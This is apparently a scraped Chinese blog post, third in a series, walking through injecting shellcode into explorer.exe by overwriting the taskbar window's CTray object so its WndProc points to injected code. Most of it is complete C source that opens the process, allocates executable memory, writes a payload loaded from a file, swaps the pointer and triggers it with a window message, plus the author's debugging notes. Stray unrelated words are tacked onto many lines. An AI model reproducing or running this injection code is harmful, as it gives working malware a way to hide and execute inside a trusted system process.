windows:shellcode 遠程線程hook/注入(三)

     今天介紹第三種遠程執行shellcode的思路:函數回調;前端

     一、所謂回調,簡單理解:git

  •   windows出廠時,內部有不少事務的處理沒法固化(沒法100%預料外部會遇到哪些狀況),只能留下一堆的接口,讓開發人員根據實際狀況完善這些事務的處理過程,好比多線程;windows提供了建立線程的接口CreateThread、CreateRemoteThread,線程建立好後幹啥了? 固然是執行開發人員個性化的代碼了! 因此這些API的參數也預留了開發人員自定義代碼的入口;
  •      windows內部:不一樣模塊有不一樣的功能,模塊之間是互相協同的,而且是典型的多對多關係。若是模塊之間的調用是緊耦合而且固化,不利於模塊的複用,因此內部不少地方也是經過回調函數實現模塊之間互相鬆耦合的,典型的好比windows消息機制:窗口之間互相PostMessage、SendMessage,接收到消息後,開發人員能夠經過重寫WndProc函數自定義消息的處理過程;

      本次實驗利用windows窗口之間的消息傳遞機制執行本身的shellcode,核心原理以下:github

  •   經過Shell_TrayWnd打開目標進程(一般是explorer.exe);
  •        寫入shellcode
  •        構造CTray對象,其中有個成員就是WndProc,使其指向shellcode;CTray對象隨後寫入目標進程
  •        調用SetWindowLongPtr, 讓窗口的處理程序指向CTray對象,進而執行咱們本身定義的shellcode;

  核心代碼以下:shell

       頭文件:windows

//#define UNICODE
#include "ntlib/ntddk.h"
#include <stdio.h>
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "ntdll.lib")


// CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
    ULONG_PTR vTable;    // change to remote memory address
    ULONG_PTR AddRef;
    ULONG_PTR Release;
    ULONG_PTR WndProc;   // window procedure (change to payload)
} CTray;

VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize);
VOID kernelcallbacktable(LPVOID payload, DWORD payloadSize);
DWORD readpic(PWCHAR path, LPVOID* pic);


#endif // !_KCT_H

  C文件:多線程

#include "ktc.h"

VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize)
{
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;

    // 1. Obtain a handle for the shell tray window
    hw = FindWindow(L"Shell_TrayWnd", NULL);

    // 2. Obtain a process id for explorer.exe
    GetWindowThreadProcessId(hw, &pid);
    printf("find window ID=%d\n", pid);
    // 3. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 4. Obtain pointer to the current CTray object
    ctp = GetWindowLongPtr(hw, 0);
    if (ctp == 0)
    {
        printf("GetWindowLongPtr failed!\n");
        CloseHandle(hp);
        return;
    }

    // 5. Read address of the current CTray object
    ReadProcessMemory(hp, (LPVOID)ctp,
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);

    // 6. Read three addresses from the virtual table
    ReadProcessMemory(hp, (LPVOID)ct.vTable,
        (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);

    // 7. Allocate RWX memory for code
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 8. Copy the code to target process
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    printf("payload address:%p\n", payload);
    //printf("cs address:%p---->%s\n", cs, *(char *)cs);//cs是exlorer進程的地址,這裏讀會出事;
    printf("cs address:%p\n", cs);
    // 9. Allocate RW memory for the new CTray object
    ds = VirtualAllocEx(hp, NULL, sizeof(ct),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 10. Write the new CTray object to remote memory
    ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;

    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);

    // 11. Set the new pointer to CTray object
    if (SetWindowLongPtr(hw, 0, (ULONG_PTR)ds) == 0) 
    {
        printf("SetWindowLongPtr failed!\n");
        VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT);
        VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT);
        CloseHandle(hp);
        return;
    }
   //system("pause");
    // 12. Trigger the payload via a windows message
    //PostMessage(hw, WM_CLOSE, 0, 0);
    PostMessage(hw, WM_PAINT, 0, 0);
    //SendNotifyMessageA(hw, WM_PAINT, 0, 0); //執行注入代碼
    Sleep(1);
    //system("pause");
    // 13. Restore the original CTray object
    SetWindowLongPtr(hw, 0, ctp);

    //system("pause");

    // 14. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT);
    CloseHandle(hp);
}

/*shellcode從bin文件讀出來*/
DWORD readpic(PWCHAR path, LPVOID* pic) {
    HANDLE hf;
    DWORD  len, rd = 0;

    // 1. open the file
    hf = CreateFile(path, GENERIC_READ, 0, 0,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hf != INVALID_HANDLE_VALUE) {
        // get file size
        len = GetFileSize(hf, 0);
        // allocate memory
        *pic = malloc(len + 16);
        printf("*pic:%p------------->\n", *pic);
        // read file contents into memory
        ReadFile(hf, *pic, len, &rd, 0);
        CloseHandle(hf);
    }
    return rd;
}

int main(void) {
    LPVOID pic = NULL;
    DWORD  len;
    int    argc;
    PWCHAR* argv;

    argv = CommandLineToArgvW(GetCommandLine(), &argc);

    if (argc != 2) 
    { 
        printf("usage: kct <payload>\n");
        return 0; 
    }

    len = readpic(argv[1], &pic);
    if (len == 0) { printf("invalid payload\n"); return 0; }

    //kernelcallbacktable(pic, len);
    CTray_WndProc_Hook(pic, len);
    return 0;
}

  執行後:經過process hacker看,shellcode成功寫入explorer進程:wordpress

     

      但最終結果並未按照預期彈出messageBox,反而致使explorer崩潰(表現爲沒法打開文件夾、下方任務欄點擊右鍵沒反應、點擊左下角的」開始「也沒反應);通過在不一樣代碼處添加pause,反覆嘗試屢次後發現問題所在:SetWindowLongPtr執行時出錯。我的猜想緣由(未經證明)以下:函數

      SetWindowLongPtr執行時,會將原來默認的消息處理函數改爲咱們自定義的shellcode,這切換的過程須要時間;但windows是個很是複雜的系統,每毫秒、微妙甚至納秒都有消息須要處理,切換時還會收到大量消息(shellcode裏面的messageBox自己也要彈框),但切換過程當中這些消息來不及(或壓根沒法)處理,致使explorer崩潰,而後進程掛掉後自動重啓。這時再在任務欄點擊右鍵、點擊文件夾、點擊左下角的開始等地方都會有原來的反應;這讓我想起了前端時間學習用匯編寫操做系統時的一些trick: 執行重要指令時,先cli關閉中斷,避免指令被打斷。執行完成後再sti 重啓開啓中斷;但SetWindowLongPtr在執行的時候貌似並未有屏蔽消息的功能(後續會想一些辦法,好比逆向一些關鍵的dll去核實);學習

      此次實驗算是失敗了,下面還有10來種shellcode 的注入辦法,後續會挨個嘗試,找到當下最合適的那個;spa

最後:借(chao)鑑(xi)了別人的思路和代碼以下:

https://www.sec-in.com/article/64 

https://modexp.wordpress.com/

https://github.com/odzhan/injection

 

-------------------------------------------------------------------------分割線------------------------------------------------------------------------------------------------------------------------------------------------

        一樣的代碼,今天編譯成64位,換了一個shellcode(https://github.com/odzhan/injection/tree/master/kct 這裏的release.bin),程序正常運行,shellcode執行完後彈出了記事本,這裏總結一下剛開始實驗時失敗的緣由:

        一、explorer.exe是64位的,注入程序倒是32位的,儘快shellcode成功注入了explorer.exe,但SetWindowLongPtr執行完後底層並未成功置換原CTray,致使自定義的shellcode未能執行;

        二、原shellcode:自己也是32位的,裏面的LoadLibrary和GetProcAddress都是在32位的環境下動態獲取的,在64位的exlporer.exe中沒法正常獲取其地址,反而致使explorer.exe自身崩潰;

相關文章
相關標籤/搜索